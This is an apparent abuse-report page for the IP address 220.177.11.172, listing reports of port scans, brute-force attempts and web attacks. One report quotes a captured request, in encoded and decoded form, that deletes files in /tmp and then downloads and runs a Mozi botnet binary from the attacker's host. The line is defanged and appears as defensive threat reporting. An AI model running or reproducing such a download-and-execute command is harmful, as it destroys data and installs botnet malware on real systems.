This IP address has been reported a total of
7
times from
6 distinct
sources.
220.177.11.172 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
Germany
with 3
reports;
United States of America
with 2
reports;
Japan
with 1
report.
The most common categories in these recent reports were:
Hacking
5
times;
Port Scan
5
times;
Web App Attack
2
times;
Bad Web Bot
1
time;
Brute-Force
1
time;
Other
1
time.
Old Reports
The most recent abuse report for this IP address is from
. It is possible that this IP is no
longer involved in abusive activities.
Automated sensor: 2 port 37624, port 46044 connection/probe attempts over the last 24h (latest 2026- ...
show moreAutomated sensor: 2 port 37624, port 46044 connection/probe attempts over the last 24h (latest 2026-09-16T21:47Z).
show less
Port Scan
Brute-Force
Anonymous
Automated web attack from 220.177.11.172 against our web server.
1 malicious request on 2026-09-13 ( ...
show moreAutomated web attack from 220.177.11.172 against our web server.
1 malicious request on 2026-09-13 (UTC), denied with HTTP 403.
Classified as: OS command injection syntax in the request. Also matched: download-and-execute chain (remote payload retrieval followed by execution).
Requests targeted the bare server IP, not a host name (untargeted range scanning).
Sample request: GET /shell?cd+/tmp;rm+-rf+*;wget+hxxp[:]//220[.]177[.]11[.]172:54471/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
The query string was percent-encoded; decoded it reads: cd /tmp;rm -rf *;wget hxxp[:]//220[.]177[.]11[.]172:54471/Mozi.a;chmod 777 Mozi.a;/tmp/Mozi.a jaws
Payloads referenced external host(s): 220[.]177[.]11[.]172 (defanged).
Probed for: nonexistent/suspicious paths.
User-Agent: "Hello, world".
AS4134 CHINANET-BACKBONE.
One of 6 hosts sending a byte-identical User-Agent to us; 15 of the 15 host pairs among them requested at least one identical path. From this address: /shell.
All timestamps are UTC.
show less
Web App Attack
Hacking
Bad Web Bot
Anonymous
denied traffic to a honeypot network. destination port 80.
Blocked by UFW (TCP on 52869)
Source port: 52226
TTL: 53
Packet length: 60
TOS: 0x00
This report (f ...
show moreBlocked by UFW (TCP on 52869)
Source port: 52226
TTL: 53
Packet length: 60
TOS: 0x00
This report (for 220.177.11.172) was generated by:
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
show less
Port Scan
Showing 1 to
7
of 7 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩
